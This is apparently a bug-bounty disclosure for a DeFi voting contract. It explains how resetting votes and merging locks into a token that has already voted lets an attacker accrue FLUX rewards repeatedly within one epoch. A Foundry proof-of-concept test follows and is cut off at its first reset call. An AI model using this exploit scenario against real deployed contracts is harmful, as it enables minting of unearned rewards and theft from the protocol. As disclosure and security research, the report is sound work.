Attacker can gain infinitive FLUX by repeating this attack!
Vulnerability Details
in the reset function in Voter contract which could be used only once per epoch , it accrueFlux for the tokenID and add the accrued amount in the unclaimed Flux balance , using the following scenario a malicious attacker could accrueFlux for tokenID already accrued previously in the same epoch.
an example scenario
an attaker have 3 locks each one with 100k token
ID1
ID2
ID3
In the first epoch
he vote with the three tokenIDs
in the next epoch
he reset the voting for ID1 & ID2 and accrue their Flux ratio
fortunately here for the attacker ... the reset function abstain the voting status for the token id so it will be !VOTED
and the attacker will be able to merge into token voted in the previous epoch and didn't use reset in the new epoch yet
because merge() only require require(!voted[_from], "voting in progress for token");
it doesn't require the merged "to" token to be not voted .. only the first token
the attacker now could merge ID1 & ID2 to ID3
and use the reset function with the new total balance .. and accrue flux even if the same IDs tokens balance accrued flux previously in the same epoch!
Impact Details
the suitable in-scope impact is Unauthorized minting of NFTs because this will enable an attacker to gain infinitive FLUX by repeating this tricky scenario
Proof of concept
/*
█▀█ ▀▄▀ █▀▄▀█ █ █▄░█ ▄▀█ ▀█▀ █▀█
█▄█ █░█ █░▀░█ █ █░▀█ █▀█ ░█░ █▄█
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/console.sol";
import "./BaseTest.sol";
contract MyTest is BaseTest {
address public user = address(2);
uint256 internal constant ONE_WEEK = 1 weeks;
uint256 internal constant THREE_WEEKS = 3 weeks;
uint256 internal constant FIVE_WEEKS = 5 weeks;
uint256 internal constant MANYWEEKS = 52 weeks;
uint256 maxDuration = ((block.timestamp + MAXTIME) / ONE_WEEK) * ONE_WEEK;
function setUp() public {
setupContracts(block.timestamp);
}
function _lockVeALCX(uint256 amount) internal returns (uint256) {
deal(address(bpt), address(this), amount);
IERC20(bpt).approve(address(veALCX), amount);
return veALCX.createLock(amount, MAXTIME, false);
}
function _setupgauge() internal {
address alUsdGaugeAddress = voter.gauges(alUsdPoolAddress);
address bribe1 = voter.bribes(alUsdGaugeAddress);
vm.prank(voter.admin());
voter.whitelist(usdt);
vm.prank(address(alUsdGauge));
IBribe(bribe1).addRewardToken(usdt);
address alEthGaugeAddress = voter.gauges(alEthPoolAddress);
address bribe2 = voter.bribes(alEthGaugeAddress);
}
function test_theExpectedreturnsbeforetheExploit() public {
console.log("<---------------->");
console.log("in this first test we preview how much the total flux balance of user should be in natural situation");
console.log("after voting in an epoch then use reset function in the next epoch .... the user have 3 locks each one with 100k ");
console.log("<---------------->");
vm.startPrank(holder);
uint256 id1 = _lockVeALCX(TOKEN_100K);
uint256 id2 = _lockVeALCX(TOKEN_100K);
uint256 id3 = _lockVeALCX(TOKEN_100K);
vm.stopPrank();
_setupgauge();
vm.startPrank(holder);
address[] memory pools = new address[](1);
address[] memory pools2 = new address[](1);
uint256[] memory weights = new uint256[](1);
pools[0] = alUsdPoolAddress;
pools2[0] = alEthPoolAddress;
weights[0] = 1;
voter.vote(id1, pools, weights, 0);
voter.vote(id2, pools2, weights, 0);
voter.vote(id3, pools, weights, 0);
uint256 unclaimedBalance11 = flux.getUnclaimedFlux(id1);
console.log("The FLUX Balance of any id of the 3 now after voting is : ", unclaimedBalance11);
skip(2 weeks + 2);
vm.startPrank(address(voter));
minter.updatePeriod();
vm.stopPrank();
vm.startPrank(holder);
voter.reset(id1);